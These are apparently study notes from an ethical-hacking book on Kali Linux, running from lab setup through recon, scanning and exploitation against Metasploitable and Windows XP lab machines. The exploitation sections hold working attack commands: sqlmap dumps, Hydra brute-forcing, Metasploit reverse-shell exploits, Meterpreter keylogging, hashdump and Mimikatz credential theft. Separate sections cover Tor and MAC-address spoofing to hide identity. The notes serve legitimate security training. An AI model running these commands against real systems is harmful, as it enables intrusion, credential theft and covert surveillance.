Ethical Hacking with Kali Linux: Key Notes & Procedures

This document provides a comprehensive summary of key concepts and step-by-step technical procedures from "Beginning Ethical Hacking with Kali Linux" for quick reference.

1. Core Security Concepts

Key Principles (The "CIA Triad")

- **Confidentiality:** Keeping information secret and ensuring it is not disclosed to unauthorized parties.
- **Integrity:** Ensuring that information is accurate and has not been altered in an unauthorized way.
- **Availability:** Ensuring that information and systems are accessible and operational for authorized users when needed.

The 5 Pillars of Information Assurance (IA)

1. **Confidentiality:** Data is private.
2. **Integrity:** Data is accurate.
3. **Availability:** Data is accessible.
4. **Authentication:** You are who you say you are.
5. **Nonrepudiation:** You can't deny having sent/received a message.

Attack Types

- **Passive Attack:** Gathering information without affecting the target system (e.g., reconnaissance, sniffing).
- **Active Attack:** Altering a system or its resources (e.g., denial-of-service, SQL injection, planting malware).

The 7 Layers of the OSI Model

A foundational model for understanding network communication.

- **Layer 7: Application** (User-facing: HTTP, FTP, SMTP)
- **Layer 6: Presentation** (Data formatting: SSL/TLS encryption, data conversion)
- **Layer 5: Session** (Manages connections: opening, closing sessions)
- **Layer 4: Transport** (Data delivery: TCP (reliable) & UDP (fast))
- **Layer 3: Network** (Packet routing: IP addresses, routers)
- **Layer 2: Data Link** (Frame delivery on a local network: MAC addresses, switches)
- **Layer 1: Physical** (The actual hardware: cables, Wi-Fi signals, hubs)

2. Setting Up Your Penetration Testing Lab (Chapter 2)

Warning: Never perform these actions on a network or device you do not own or have explicit permission to test.

Step 1: Install Virtualization Software (VirtualBox)

1. Go to the official VirtualBox website (virtualbox.org).
2. Download and install the correct package for your host operating system (e.g., Windows or macOS).

Step 2: Install Kali Linux (The Attacker Machine)

1. Go to the official Kali Linux website (kali.org) and download the latest "Installer" ISO image.
2. Open VirtualBox and click **New**.
3. **Name:** Kali Linux
4. **Type:** Linux
5. **Version:** Debian (64-bit)
6. **Memory (RAM):** Allocate at least 2048 MB (2GB), 4096 MB (4GB) is better.
7. **Hard disk:** Select "Create a virtual hard disk now".
8. **Hard disk file type:** VDI (VirtualBox Disk Image).
9. **Storage:** Dynamically allocated.
10. **Size:** 20 GB or more.
11. After creating, select your new Kali VM and click **Settings**.
12. Go to **Storage**. Click the "Empty" CD icon. In the "Attributes" panel, click the CD icon and select "Choose a disk file...". Find and select your downloaded Kali ISO.
13. Go to **Network**. Change "Attached to:" from NAT to Bridged Adapter (or NAT Network if you've set one up). This allows it to be on the same network as your target.
14. Start the VM and follow the "Graphical Install" prompts.

Step 3: Install Metasploitable 2 (The Vulnerable Target Machine)

1. Search for "Metasploitable 2" and download the .zip file from SourceForge.
2. Extract the zip file. You will get a folder containing a .vmdk file (this is the virtual hard drive).
3. In VirtualBox, click **New**.
4. **Name:** Metasploitable2
5. **Type:** Linux
6. **Version:** Ubuntu (64-bit)
7. **Memory (RAM):** 1024 MB (1GB) is fine.
8. **Hard disk:** Select "**Use an existing virtual hard disk file**".
9. Click the folder icon, click **Add**, and find the .vmdk file you just extracted. Click **Choose**.
10. Click **Create**.
11. Start the VM. It will boot to a login prompt.

12. **Login:** msfadmin
13. **Password:** msfadmin
14. Run ifconfig to find its IP address (e.g., 192.168.1.101). This is your target's IP.

3. Essential Linux Commands (Chapter 3)

Command	**Description**	**Example**
pwd	**P**rint **W**orking **D**irectory (shows where you are).	pwd
ls	**L**i**s**t files in the current directory.	ls
ls -la	List all files (including hidden) in long format.	ls -la
cd [dir]	**C**hange **D**irectory.	cd /var/www
cd ..	Go up one directory.	cd ..
cat [file]	Display the contents of a file.	cat /etc/passwd
nano [file]	Open a simple text editor to edit a file.	nano config.txt
cp [src] [dest]	**C**o**p**y a file or directory.	cp file.txt /tmp/
mv [src] [dest]	**M**o**v**e or rename a file.	mv file.txt new_name.txt
rm [file]	**R**e**m**ove (delete) a file.	rm old.txt
rm -rf [dir]	Force-remove a directory and all its contents (use with caution!).	rm -rf /tmp/test
mkdir [name]	**M**a**k**e a **dir**ectory.	mkdir my_folder
ifconfig	Show network interface configuration (to find your IP).	ifconfig
adduser [name]	Create a new user account.	adduser temp_user

chmod [perms]	**Ch**ange **mod**e (file permissions).	chmod +x script.py
chown [user]	**Ch**ange **own**er of a file.	chown www-data file.txt
grep [word] [file]	Search for a specific word inside a file.	grep "admin" config.txt
service [name] [action]	Control a system service.	service tor start

4. Python for Hacking: Scripts & Sockets

(From Chapters 5, 7, 9)

Build a Simple TCP Server (Chapter 5)

Saves as myServer.py. This listens for a connection on port 8080.

```
import socket
import sys

HOST = '' # Listen on all interfaces
PORT = 8080

mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print('Socket created')

try:
    mySocket.bind((HOST, PORT))
except socket.error as msg:
    print('Bind failed. Error: ' + str(msg))
    sys.exit()

print('Socket bind complete')

mySocket.listen(10)
print('Socket now listening on port 8080')

while 1:
    # Wait to accept a connection
    connection, address = mySocket.accept()
    print('Connected with ' + address[0] + ':' + str(address[1]))
    # You can send data here with connection.send(b'Hello!')
    connection.close()
```

To run: python myServer.py
To test: Open another terminal and type telnet localhost 8080

Python Recon: Get IP from Hostname (Chapter 7)

```
import socket
ip = socket.gethostbyname("sanjibsinha.wordpress.com")
print(ip)
```

Python Recon: Find robots.txt (Chapter 7)

```
import urllib.request
import io

def GetRobots(url):
    if url.endswith("/"):
        path = url
    else:
        path = url + "/"

    try:
        requestingData = urllib.request.urlopen(path + "robots.txt")
        data = io.TextIOWrapper(requestingData, encoding="utf-8")
        return data.read()
    except Exception as e:
        return "Could not find robots.txt: " + str(e)

print(GetRobots("[https://www.reddit.com](https://www.reddit.com)"))
```

Capture Packets with pcapy (Chapter 7)

1. **Install:** apt-get install python-pcapy
2. **Script (raw.py):**

   ```
   #!/usr/bin/python
   import pcapy

   devices = pcapy.findalldevs()
   print(devices)

   # Open device eth0, capture 1024 bytes, non-promiscuous mode, 100ms timeout
   packets = pcapy.open_live("eth0", 1024, False, 100)
   ```

```
count = 1
while count:
    try:
        (header, packet) = packets.next()
        print(packet)
        count = count + 1
        if count == 10: # Stop after 10 packets
            break
    except:
        continue
```

3. **Run:** sudo python raw.py

5. Anonymity & Network Setup

How to Use ProxyChains (with Tor) (Chapter 5)

This routes your command-line tools through the Tor network to hide your IP.

1. **Install Tor:** apt-get install tor
2. **Edit Config File:** nano /etc/proxychains.conf
3. In the file, scroll down. **Uncomment** (remove the #) from dynamic_chain.
4. **Comment out** (add a #) in front of strict_chain and random_chain.
5. At the very bottom, under [ProxyList], make sure this line is present: socks5 127.0.0.1 9050 (It should be socks4 by default, change it to socks5).
6. **Start Tor Service:** service tor start
7. **Run Tools via Proxy:** Prefix any command with proxychains.
    - proxychains nmap -sT 192.168.1.101
    - proxychains firefox www.duckduckgo.com

How to Change Your MAC Address (Chapter 5)

This changes your network card's physical (MAC) address to avoid network-level identification.

1. **View Current MAC:** ifconfig eth0 (Look for the ether address).
2. **Take Interface Down:** ifconfig eth0 down
3. **Assign Random MAC:** macchanger -r eth0
4. **Bring Interface Up:** ifconfig eth0 up
5. **Verify:** ifconfig eth0 (Confirm the ether address has changed).

Configure Kali SSH Server (Chapter 6)

Allows you to remotely log in to your Kali machine.

1. **Start SSH Service:** service ssh start
2. **Check Status:** service ssh status

3. **Make it Start on Boot:**
   - nano /usr/sbin/update-rc.d
   - Find the line #ssh disabled and comment it out (add a #): ##ssh disabled
4. **(Recommended) Secure SSH:**
   - nano /etc/ssh/sshd_config
   - Change Port 22 to a high, unused port (e.g., Port 2222).
   - Change PermitRootLogin to no (and log in with a non-root user).
5. **Create Secure Keys (Optional but good):** ssh-keygen -t rsa
6. **Restart Service:** service ssh restart
7. **Connect from another PC (e.g., PuTTY):** Use your Kali IP and the new port.

6. Phase 1: Information Gathering (Recon)

Tool	Purpose	Example Command
whois	Get public registration info for a domain.	whois metasploit.com
nslookup	Find the IP address for a domain.	nslookup google.com
host	Find IP (v4 and v6) and mail servers.	host google.com
DMitry	Deepmagic Info Gathering Tool. Gets whois, subdomains, email, ports.	dmitry -wise metasploit.com
Maltego	GUI tool to find and visualize relationships between people, emails, domains, and files.	(Find in Applications Menu)
nmap	**N**etwork **Map**per. The most essential network scanning tool.	(See below)

Nmap (Network Mapper) - Common Scans (Chapter 7)

- **Basic Ping Scan (Find hosts):** nmap -sn 192.168.1.0/24
- **Default Scan (Top 1000 ports):** nmap 192.168.2.2
- **Service Version Detection:** nmap -sV 192.168.2.2
- **OS Detection:** nmap -O 192.168.2.2

- **Aggressive Scan (All in one):** nmap -A 192.168.2.2
- **Scan All Ports (Slow):** nmap -p- 192.168.2.2
- **Fast Scan (Top 100 ports):** nmap -F 192.168.2.2

7. Phase 2: Vulnerability Analysis

Nikto (Web Server Scanner) (Chapter 10)

Identifies security flaws on web servers.

1. **Run basic scan:** nikto -h http://192.168.2.2
2. **Look for:**
   - Outdated server versions (e.g., Apache/2.2.8).
   - Dangerous files (e.g., /info.php or /admin).
   - Missing security headers (e.g., X-Frame-Options).

OpenVAS (Full Vulnerability Scanner) (Chapter 10)

A comprehensive, heavy-duty scanner that checks for thousands of vulnerabilities.

1. **Install:** apt-get install openvas
2. **Run Setup:** openvas-setup (This will take a long time to download all vulnerability definitions).
3. **Start Services:** openvas-start
4. It will open the web interface at **https://127.0.0.1:9392**.
5. Log in with the credentials provided during setup (e.g., admin / [generated-password]).
6. Navigate to **Scans > Tasks**.
7. Click the "New Task" wizard (purple icon).
8. Enter your target's IP (e.g., Metasploitable's IP 192.168.2.2) and start the scan.
9. Review the report to find critical vulnerabilities.

Vega (GUI Web Scanner) (Chapter 10)

1. **Install:** apt-get -y install vega
2. Open **Vega** from the Applications menu.
3. Click the "Start New Scan" button (top left).
4. Enter the base URI of your target (e.g., http://192.168.2.2/dvwa/).
5. Click **Next**.
6. Select the modules to run (e.g., "Injection Modules").
7. Click **Next**, then **Finish** to start the scan.
8. Review alerts in the "Scan Alerts" panel on the left, sorted by High, Medium, and Low.

Burp Suite (Web Proxy & Scanner) (Chapter 10)

1. Open **Burp Suite** from the Applications menu.
2. Go to the **Proxy** tab, then the **Options** sub-tab. Note the proxy is running at 127.0.0.1:8080.
3. Open Firefox. Go to **Preferences > Advanced > Network > Settings**.

4. Select "Manual proxy configuration".
5. Set **HTTP Proxy:** 127.0.0.1 and **Port:** 8080.
6. Check "Use this proxy server for all protocols". Click OK.
7. In Burp, go to the **Proxy > Intercept** tab and make sure "Intercept is on".
8. In Firefox, browse to your target (e.g., http://192.168.2.2/dvwa/).
9. Burp will "catch" the request. You can now view, edit, or forward the request to the server.
10. Right-click the request in the **Target** tab and select "Send to Spider" to map the site, or "Send to Intruder" to start an attack.

8. Phase 3 & 4: Exploitation & Post-Exploitation

SQL Injection with sqlmap (Chapter 9)

1. **Set up DVWA:**
    - On your Metasploitable machine (192.168.2.2), browse to http://192.168.2.2/dvwa/.
    - Login (admin / password).
    - Go to **DVWA Security** and set the security level to **Low**.
    - Go to **Setup** and click **Create / Reset Database**.
2. **Find a vulnerable URL:** Go to the **SQL Injection** page. Enter 1 as the User ID and click Submit. The URL will be: http://192.168.2.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit
3. **Get DVWA Security Cookie:**
    - In your Kali browser, use dev tools (F12) > Storage > Cookies.
    - Find the values for security (should be low) and PHPSESSID (e.g., ...).
4. **Run sqlmap (in Kali terminal):**
    - sqlmap -u "http://192.168.2.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=[your_session_id]"
5. **List Databases:**
    - ... --dbs
6. **List Tables from dvwa:**
    - ... -D dvwa --tables
7. **List Columns from users:**
    - ... -D dvwa -T users --columns
8. **Dump Data:**
    - ... -D dvwa -T users -C user,password --dump

Password Attacks (Chapter 13)

crunch (Wordlist Generator)

- **Generate:** crunch <min> <max> <characters> -t <pattern> -o <output_file>
- **Example:** Create a 6-char list ending in "01".
    - crunch 6 6 -t test%% -o test.txt (%% are placeholders for numbers)
    - cat test.txt will show test00, test01, ... test99

John the Ripper (Offline Hash Cracker)

1. **Get Hashes:** On a compromised machine, you might copy the shadow file. In Kali, you can practice: cp /etc/shadow my_shadows.txt
2. **Run John:** john my_shadows.txt (It will use a default wordlist).
3. **Use rockyou.txt:** john --wordlist=/usr/share/wordlists/rockyou.txt.gz my_shadows.txt
4. **Show Cracked:** john --show my_shadows.txt

Hydra (Online Brute-Force Tool)

- SSH Attack:
  hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt.gz 192.168.2.2 ssh
- Web Login Form Attack:
  hydra -l admin -P passlist.txt 192.168.2.2 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login Failed"

RainbowCrack (Offline Hash Cracker)

1. **Generate Table:** rtgen md5 loweralpha 6 6 0 3800 335540 0
2. **Sort Table:** rtsort .
3. **Crack Hash:** rcrack *.rt -h [hash_to_crack]

Exploitation with Metasploit (msfconsole) (Chapter 12 & 15)

Metasploit Core Commands

1. **Start:** msfconsole
2. **Search:** search [service_name] (e.g., search samba)
3. **Select Exploit:** use [exploit/name/path] (e.g., use exploit/multi/samba/usermap_script)
4. **View Info:** info
5. **Show Options:** show options (Shows what you need to set, like RHOSTS).
6. **Set Option:** set RHOSTS 192.168.2.2 (Set RHOSTS to your *target's* IP).
7. **Show Payloads:** show payloads
8. **Set Payload:** set PAYLOAD [payload/name] (e.g., set PAYLOAD cmd/unix/reverse)
9. **Set Listener Host:** set LHOST 192.168.2.3 (Set LHOST to your *Kali* IP).
10. **Run:** exploit

Example 1: Exploit Samba on Metasploitable (Root Shell)

1. msfconsole
2. search usermap_script
3. use exploit/multi/samba/usermap_script
4. set RHOSTS 192.168.2.2 (Metasploitable's IP)
5. set PAYLOAD cmd/unix/reverse
6. set LHOST 192.168.2.3 (Your Kali IP)
7. exploit
8. A shell prompt appears. Type whoami to confirm you are root.

Example 2: Exploit Unreal IRCd on Metasploitable (Root Shell)

1. msfconsole
2. search unreal_ircd
3. use exploit/unix/irc/unreal_ircd_3281_backdoor
4. show options
5. set RHOSTS 192.168.2.2 (Metasploitable's IP)
6. set PAYLOAD cmd/unix/reverse
7. set LHOST 192.168.2.3 (Your Kali IP)
8. exploit
9. A shell prompt appears. Type whoami to confirm you are root.

Exploitation with Armitage (GUI) (Chapter 15)

Example: Client-Side Exploit (Windows XP)

This attack creates a malicious server. The victim must visit it.

1. Start your **Windows XP** VM (your target).
2. Start your **Kali Linux** VM (your attacker).
3. Open a terminal in Kali and start **Armitage**. It will connect to Metasploit.
4. In the top-left "exploits" pane, find and click: **exploit > windows > browser**
5. Find and double-click ms14_064_ole_code_execution.
6. A new dialog box will open. All the default options (like LHOST and PAYLOAD windows/meterpreter/reverse_tcp) are usually fine.
7. Click **Launch**.
8. Armitage will create a server. In the console window (bottom), it will print a URL: [*] Using URL: http://192.168.2.3:8080/xxxxx
9. Go to your **Windows XP** VM, open Internet Explorer, and visit that *exact* URL.
10. Back in **Armitage**, the Windows XP computer will appear in the target-space as a "compromised" machine (red with lightning bolts).
11. **You have owned the machine.**

Post-Exploitation (Meterpreter)

Once a Meterpreter session is open, you can control the machine.

1. In Armitage, right-click the compromised Windows XP machine.
2. Go to **Meterpreter 1 > Interact > Meterpreter Shell**.
3. A new tab opens in the console. This is your shell on the victim's PC.

Key Meterpreter Commands:

- sysinfo: Get system details.
- getuid: See which user you are.
- getsystem: Try to escalate privileges to SYSTEM.
- hashdump: **Dumps all password hashes from the SAM file.**
- ps: List all running processes.

- migrate [PID]: Move your exploit into another process (like explorer.exe) to hide it.
- keyscan_start: Start logging all keystrokes.
- keyscan_dump: Show the captured keystrokes. (Wait for the user to type something).
- screenshot: Take a screenshot of the victim's desktop.
- ls: List files on the *victim's* machine.
- download [file_path]: Download a file from the victim.
- upload [file_path]: Upload a file to the victim.
- **Use Mimikatz (to get passwords):**
  - load mimikatz
  - msv: Dumps credentials/hashes from memory.
  - kerberos: Dumps kerberos credentials.